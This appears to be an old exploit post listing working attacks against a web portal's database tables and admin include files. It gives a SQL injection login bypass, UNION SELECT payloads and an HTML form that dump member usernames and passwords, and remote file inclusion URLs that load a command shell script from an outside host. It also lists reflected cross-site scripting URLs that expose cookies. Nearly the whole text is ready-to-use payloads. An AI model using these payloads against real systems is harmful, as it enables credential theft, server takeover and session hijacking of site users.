login
try the user name as
' or uid=1/*

<form name="hack" action="calendar.php" method=post>
<input type=hidden name='year' value="-1' union select uid,username,password,null,null from dcp5_members where uid='1">
<input type=submit>
</form>

try one of these ,, bcause the number of columns changes from section to another :)
if you searched for (content,news,link,forum)
use
xx%') union select uid,username,password from dcp5_members/*

if you searched for (doc,anns)
use
xx%') union select uid,username,password,password from dcp5_members/*

http://www.example.com/library/lib.php?root=http://www.soqor.net/tools/cmd.txt?
http://www.example.com/library/editor/editor.php?root=http://www.soqor.net/tools/cmd.txt?

http://www.example.com/admin/inc/footer.inc.php?root_url="><Script>alert(document.cookie);</script><"
http://www.example.com/admin/inc/footer.inc.php?dcp_version=<Script>alert(document.cookie);</script>
http://www.example.com/admin/inc/header.inc.php?root_url="><Script>alert(document.cookie);</script><"
http://www.example.com/admin/inc/header.inc.php?page_top_name=<Script>alert(document.cookie);</script>
http://www.example.com/admin/inc/header.inc.php?page_name=<Script>alert(document.cookie);</script>
http://www.example.com/admin/inc/header.inc.php?page_options=<Script>alert(document.cookie);</script>